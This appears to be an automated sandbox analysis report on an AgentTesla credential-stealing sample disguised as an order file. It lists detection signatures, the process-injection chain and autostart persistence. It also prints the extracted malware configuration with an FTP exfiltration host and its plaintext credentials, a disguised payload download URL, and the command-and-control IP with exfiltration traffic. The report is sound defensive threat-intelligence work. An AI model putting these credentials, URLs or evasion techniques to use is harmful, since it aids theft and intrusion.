Edit tour

Windows Analysis Report
GEFA-Order 232343-68983689.exe

Overview

General Information

Sample name:	GEFA-Order 232343-68983689.exe
Analysis ID:	1529729
MD5:	0c3d0b4cd6833a23ebc0687d97c64d73
SHA1:	41bae7df2f2544b207777c920429383a88745035
SHA256:	f0fa4e57be6d0ad0debbbb9189344a61896d0d38c6c9f2345d2421070e20389c
Tags:	exeSPAM-ITAuser-JAMESWT_MHT
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

GEFA-Order 232343-68983689.exe (PID: 7444 cmdline: "C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe" MD5: 0C3D0B4CD6833A23EBC0687D97C64D73)

InstallUtil.exe (PID: 7548 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Cbgoomiexw.exe (PID: 7744 cmdline: "C:\Users\user\AppData\Roaming\Cbgoomiexw.exe" MD5: 0C3D0B4CD6833A23EBC0687D97C64D73)

InstallUtil.exe (PID: 7888 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Cbgoomiexw.exe (PID: 8052 cmdline: "C:\Users\user\AppData\Roaming\Cbgoomiexw.exe" MD5: 0C3D0B4CD6833A23EBC0687D97C64D73)

InstallUtil.exe (PID: 8124 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2913625192.000000000330E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1966127439.00000000028D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2913625192.00000000032CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2913625192.00000000032CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.1884023773.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.1965310119.00000000030A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1735614547.0000000006E10000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.1881514343.000000000269A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1716960379.00000000032AA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1884023773.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1884023773.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1966127439.0000000002881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1966127439.0000000002881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 7548	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7548	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Cbgoomiexw.exe PID: 7744	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Cbgoomiexw.exe PID: 7744	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Cbgoomiexw.exe PID: 7744	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Cbgoomiexw.exe PID: 7744	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 7888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7888	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Cbgoomiexw.exe PID: 8052	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Cbgoomiexw.exe PID: 8052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Cbgoomiexw.exe PID: 8052	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Cbgoomiexw.exe PID: 8052	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 8124	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 8124	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 42 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.GEFA-Order 232343-68983689.exe.6e10000.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
1.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.InstallUtil.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31261:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x312d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3135d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31459:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x314cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31561:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e67c:$s2: GetPrivateProfileString 0x2dd9d:$s3: get_OSFullName 0x2f38e:$s5: remove_Key 0x2f56c:$s5: remove_Key 0x3047a:$s6: FtpWebRequest 0x31243:$s7: logins 0x317b5:$s7: logins 0x344ba:$s7: logins 0x34578:$s7: logins 0x35e7e:$s7: logins 0x3511c:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe, ProcessId: 7444, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cbgoomiexw

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-09T10:51:06.765174+0200	2029927	1	A Network Trojan was detected	192.168.2.4	49731	5.2.84.236	21	TCP
2024-10-09T10:51:22.680290+0200	2029927	1	A Network Trojan was detected	192.168.2.4	49740	5.2.84.236	21	TCP
2024-10-09T10:51:31.312442+0200	2029927	1	A Network Trojan was detected	192.168.2.4	49743	5.2.84.236	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-09T10:51:07.397881+0200	2855542	1	A Network Trojan was detected	192.168.2.4	49732	5.2.84.236	54172	TCP
2024-10-09T10:51:07.404047+0200	2855542	1	A Network Trojan was detected	192.168.2.4	49732	5.2.84.236	54172	TCP
2024-10-09T10:51:23.289578+0200	2855542	1	A Network Trojan was detected	192.168.2.4	49741	5.2.84.236	59878	TCP
2024-10-09T10:51:23.295500+0200	2855542	1	A Network Trojan was detected	192.168.2.4	49741	5.2.84.236	59878	TCP
2024-10-09T10:51:31.937083+0200	2855542	1	A Network Trojan was detected	192.168.2.4	49744	5.2.84.236	50958	TCP
2024-10-09T10:51:31.942584+0200	2855542	1	A Network Trojan was detected	192.168.2.4	49744	5.2.84.236	50958	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: GEFA-Order 232343-68983689.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe

Avira: detection malicious, Label: HEUR/AGEN.1308518

Found malware configuration

Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Virustotal: Detection: 26%			Perma Link

Multi AV Scanner detection for submitted file

Source: GEFA-Order 232343-68983689.exe	ReversingLabs: Detection: 15%
Source: GEFA-Order 232343-68983689.exe	Virustotal: Detection: 26%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: GEFA-Order 232343-68983689.exe

Joe Sandbox ML: detected

Source: GEFA-Order 232343-68983689.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: GEFA-Order 232343-68983689.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.000000000342A000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1736166624.0000000006F60000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.000000000440A000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004261000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.000000000281A000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.000000000314C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.000000000342A000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1736166624.0000000006F60000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.000000000440A000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004261000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.000000000281A000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.000000000314C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 4x nop then jmp 06D78E01h	0_2_06D78DA0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 4x nop then jmp 06D78E01h	0_2_06D78D91
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 4x nop then jmp 06EE614Eh	0_2_06EE5F60
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 4x nop then jmp 06EE614Eh	0_2_06EE5F51
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 4x nop then jmp 06198E01h	3_2_06198DA0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 4x nop then jmp 06198E01h	3_2_06198D91
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 4x nop then jmp 0630614Eh	3_2_06305F60
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 4x nop then jmp 0630614Eh	3_2_06305F52
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 4x nop then jmp 06AE8E01h	7_2_06AE8DA0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 4x nop then jmp 06AE8E01h	7_2_06AE8D93
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 4x nop then jmp 06C5614Eh	7_2_06C55F53
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 4x nop then jmp 06C5614Eh	7_2_06C55F60

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.4:49732 -> 5.2.84.236:54172
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.4:49731 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.4:49741 -> 5.2.84.236:59878
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.4:49740 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.4:49744 -> 5.2.84.236:50958
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.4:49743 -> 5.2.84.236:21

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 5.2.84.236 ports 50958,54172,59878,1,2,21

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 5.2.84.236:54172

Source: global traffic	HTTP traffic detected: GET /omani/Mrlres.mp3 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /omani/Mrlres.mp3 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /omani/Mrlres.mp3 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 5.2.84.236 5.2.84.236

Source: Joe Sandbox View

ASN Name: ALASTYRTR ALASTYRTR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

FTP traffic detected: 5.2.84.236:21 -> 192.168.2.4:49731 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:51. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /omani/Mrlres.mp3 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /omani/Mrlres.mp3 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /omani/Mrlres.mp3 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: rubberpartsmanufacturers.com
Source: global traffic	DNS traffic detected: DNS query: ftp.alternatifplastik.com

Source: InstallUtil.exe, 00000001.00000002.1884023773.0000000002F5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1884023773.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.1966127439.00000000028D0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.1966127439.00000000028DE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2913625192.000000000330E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2913625192.000000000331C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.alternatifplastik.com
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.0000000003261000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1884023773.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.0000000002651000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.1966127439.00000000028D0000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.0000000002FFC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2913625192.000000000330E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
